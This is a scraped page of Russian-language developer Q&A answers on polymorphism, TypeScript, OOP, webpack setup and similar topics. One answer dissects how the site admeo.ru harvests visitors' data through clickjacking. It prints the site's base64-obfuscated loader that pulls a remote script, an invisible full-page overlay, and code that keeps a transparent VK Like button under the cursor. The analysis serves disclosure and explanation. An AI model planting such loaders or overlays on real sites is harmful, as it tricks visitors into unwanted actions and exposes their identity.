• Это и есть полиморфизм?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Нет.

    Полиморфизм, как следует из названия, это когда что-то маскируется под что-то другое. Это свойство системы типов языка на котором вы пишите, он может позволять вам делать вещи, маскирующие свой внешний вид ("названия") но все же это не та же вещь. Ну и стоит заметить что у полиморфизма есть еще разные виды. Например:

    Параметрический полиморфизм. Это когда мы можем написать один код, с одним набором имен, которые работает с разными типами аргументов. Пример - шаблоны из C++ или дженерики в Java. То есть "имена" методов одинаковые, потому что они в одном экземпляре. Реализация одна, одно поведение. А вот аргументы могут отличаться.

    Ключевое отличие от ad-hoc полиморфизма, про который будет ниже в том, что наша реализация понятия не имеет что придет на вход. Может придти что угодно и с этим нужно будет работать, однако работать с любым типом мы будем абсолютно одинаково.

    Полиморфизм подтипов. При этом у нас как раз таки будет одни и те же имена и может быть совершенно разное поведение. Например мы можем создать какой-то базовый тип, который, к примеру, отправляет email-ы, и создать его подтип, который вместо отправки email-ов записывает в лог то что мы хотели отправить, после чего уже отправляет данные дальше другому объекту этого типа (шаблон проектирования декоратор).

    Многие путают полиморфизм подтипов с наследованием, подменяя эти понятия. Без наследования мы конечно же не сможем достичь иерархии типов, но это больше механизм а не принцип.

    Ну и еще есть одно серьезное ограничение. Если мы хотим заменить в системе объект какого-то типа на объект подтипа (грубо говоря наследника), то система не должна сломаться. То есть "другое" поведение нашего подтипа должно быть совместимо в плане интерфейса с базовым типом. Об этом можно почитать загуглил "Принцип подстановки Барбары Лисков".

    Ad-hoc полиморфизм - это пожалуй самый интересный вид полиморфизма с которым можно долго холиварить. По сути при этом виде полиморфизма, у нас одинаковые имена, а поведение зависит от входящих аргументов. Пример - перегрузка методов в C++. Интересен этот вид полиморфизма в основном тем, что он не является "настоящим".

    При динамической системе типов не требуется никаких дополнительных возможностей вроде той же перегрузки методов для достижения ad-hoc полиморфизма. Тупо кидаем что хотим в функцию, а там уже if-ами рагребаем или же приводим к какому-то одному варианту. Отдельные конструкции нужны в языках со статической системой типов. То есть нам нужно еще на этапе компиляции кода знать какие именно типы могут приходить в наши методы, и в зависимости от оных вызывать тот или иной код.

    Среди PHP-разработчиков немало тех, кто мечтает увидеть в этом языке с динамической системой типов честную перегрузку методов как например в Java или C++. Просто так, потому что if-ы это плохо и лучше уж пусть они будут неявные на уровне компилятора/рантайма.

    Полиморфизм с приведением типов - еще один вид "не настоящего" полиморфизма. Мы "эмулируем" полиморфизм за счет того, что на уровне рантайма языка происходят касты действительного в желаемое. Например в PHP мы можем выставить у функции тайпхинтинг string, и можем внутри иметь одно и то же поведение для всех входящих аргументов. Передать же в качестве аргумента мы можем все что можно скастить в строку.

    Собственно, это очень похоже на параметрический полиморфизм по смыслу, но далеко не так гибко и не дает того контроля за системой.
    Ответ написан
    Комментировать
  • Жив ли русскоязычный фриланс?

    gadfi
    @gadfi
    https://gamega.org
    он не умер, он просто так пахнет
    Ответ написан
    7 комментариев
  • Какой фреймворк популярнее в Америке Angular или React.js?

    Negwereth
    @Negwereth
    lvivcss.com.ua
    Учи не фреймворки, а сам язык.
    Потом любую технологию можно недели за две подтянуть.
    Ответ написан
    Комментировать
  • Где можно консультироваться по JS у профи?

    Negwereth
    @Negwereth
    lvivcss.com.ua
    Не здесь.
    Ответ написан
    Комментировать
  • Существует ли в Typescript возможность использования динамической памяти?

    В TypeScript нет и не может быть иной модели управления памятью, нежели в JS, т.к. TypeScript это надмножество JS, добавляющее статическую типизацию и ещё ряд плюшек. Компиляция из TS в JS происходит довольно прямолинейно, ничего вроде своего менеджера памяти или прочих абстракций там нет.

    Поэтому нужность ручного управления памятью (вы ведь это понимаете под динамической памятью?) в TS сводится к вопросу нужности ручного управления памятью в JS. Я не уверен, что последний вопрос корректен, т.к. язык - это набор готовых решений, среди которых стратегия управления памятью - вещь довольно базовая, от неё очень много зависит в языке и его экосистеме, поэтому просто так такая вещь меняться не будет, обычно такие решения принимаются ещё при создании языка и более не пересматриваются.

    Поэтому вопрос переходит к тому, какой язык вам нужен. Хотите попытаться писать браузерный код на C++? Попробуйте поэкспериментировать с WebAssembly.
    Ответ написан
    Комментировать
  • Сертификаты для frontend-разработчика - какие получить?

    iiiBird
    @iiiBird
    Пока ты спишь - твой конкурент совершенствуется
    лучший сертификат для frontend-разработчика - это его github аккаунт с крутыми проектами. акцент на "крутыми".
    Ответ написан
    Комментировать
  • Как реализовать плавный якорь на чистом(Нативном) JavaScript?

    sfi0zy
    @sfi0zy Куратор тега JavaScript
    Creative frontend developer
    Этот функционал находится в стадии черновика и в некоторых браузерах уже есть из коробки. Вероятно вам нужен smooth scroll polyfill. Разумеется никто не мешает в образовательных целях посмотреть его исходники.
    Ответ написан
    1 комментарий
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Использование библиотеки не имеющей typescript d.ts?

    Ответ очевиден - написать type definitions самостоятельно.
    Ответ написан
    4 комментария
  • Почему при повторном вызове setInterval скорость увеличивается в два раза?

    Negwereth
    @Negwereth
    lvivcss.com.ua
    Даже без кода могу ответить, что вы не очищаете предыдущий интервал, и вас постоянно отрабатывают все интервалы.
    Ответ написан
    Комментировать
  • Как перевести ssl на другой хостинг?

    petermzg
    @petermzg
    Самый лучший программист
    ssl сертификат привязан к доменному имени, так что проблем не возникнет, если его не меняете.
    Ответ написан
    Комментировать
  • В каких случаях использовать ООП?

    @GreatRash
    ООП нужно использовать только тогда, когда вам от этого становится удобно. Вообще все парадигмы в программировании придумываются для того, чтобы сделать удобно себе и окружающим.

    Если вы:
    • пишете один
    • делаете одноразовые проекты (лендинги например)
    • никогда повторно не используете ранее написанный код

    то вам этот ООП будет только мешать.

    Если вы:
    • работаете в команде
    • пишете большой проект (приложение например)
    • вы и ваши коллеги постоянно используют куски ранее написанного кода

    то вам без ООП будет очень сложно обойтись.

    Так что всё зависит от вас. Не нужно использовать ООП только потому, что так кто-то делает. Пишите так, как удобно вам и окружающим. В конце концов главное - это простота кода и скорость разработки.
    Ответ написан
    21 комментарий
  • Slick Slider: выбор рандомного слайда и переход на страницу, как?

    Krasnodar_etc
    @Krasnodar_etc
    little front
    Добавлю к Данакт Фрост

    Если при инициализации слайдера надо, тогда
    var randomSlideId = Math.random() * 9 | 0
    $('.multiple-items0777').slick({
    // тут ваши параметры всякие и 
    initialSlide: +randomSlideId
    });
    Ответ написан
    3 комментария
  • Какой выбрать поддерживаемый boilerplate для ES6/typescript?

    @SuperOleg39ru
    Front-end разработчик
    На самом деле, это как раз тот случай, когда надо изобретать велосипед)
    Все что вы хотите - это просто конфиг вебпака и набор команд для запуска, dev и production.

    Соответственно вам надо установить webpack и webpack-dev-server, показать откуда брать файлы, как обрабатывать (за это отвечают loaders), и куда их собирать - не поленитесь изучить вебпак, можете посмотреть этот скринкаст

    Вот простой пример, я использую этот шаблон для изучения typescript.
    Правда webpack 1 уже deprecated, но разница в конфиге не критичная, так что скринкаст все-равно актуален.

    Нужен ES6 одновременно с typescript - добавляете babel-loader
    Нужен css препроцессор - добавляете loader к этому препроцессору
    Нужен линтинг - устанавливайте eslint и конфиги Airbnb
    Ответ написан
    6 комментариев
  • Какой код все таки писать, краткий или расписанный?

    angrySCV
    @angrySCV
    machine learning, programming, startuping
    блин чувак, вот ты фокус внимания с важных вещей уводишь на совсем не важные.
    Вот ты чего хочешь добится -> писать понятный код?
    ну так вот он у тебя совсем не понятный, что такое "сплитетТекст[0]", что такое "сплитетТекст[1]", по хорошему тебе нужно передавать обьект, и обращатся конкретно к именам -> например "текст.закаловок", "текст.дата".
    Оборачивать 2 повторяющиеся строки в цикл НЕ НАДО, ну если хочешь оберни, особо это ни на что не влияет, ну сделай как тебе удобнее.
    Ответ написан
    Комментировать
  • В чём разница между операндом и литералом?

    jcmvbkbc
    @jcmvbkbc
    http://dilbert.com/strip/1998-08-24
    Слово "литерал" переводится как "буквальный". Это объект, значение которого -- его буквальное значение. Например: "hello" -- это строковый литерал со значением "hello". Или 42 -- это целочисленный литерал со значением 42. Противоположностью литерала, в некотором смысле, является переменная. Переменная -- это объект, значение которого -- последнее присвоенное ему значение. Например: char a[] = "hello world"; a -- это строковая переменная, со значением "hello world". Или int answer = 40 + 2; answer -- целочисленная переменная со значением 42.

    Операнд -- это аргумент операции. Во многих контекстах литералы и переменные могут быть операндами. Например: a[0]; операция здесь -- [], взятие элемента массива, операнды -- a и 0, один из них -- переменная, другой -- литерал.
    Ответ написан
    Комментировать
  • Как создать изоморфное приложение - индексируемое поисковыми роботами spa?

    Laiff
    @Laiff
    Front-end developer
    Например вот каркас для такого приложения, для ссылок используется historyApi

    https://github.com/erikras/react-redux-universal-h...
    Ответ написан
    Комментировать
  • Что лучше табы или пробелы?

    Холивар, древний как говно мамонта.

    Правильно - использовать то, что тебе нравится, если иное не оговорено в проекте в котором ты трудишься. В проекте у всех должно быть одинаково, неважно как.
    Ответ написан
    2 комментария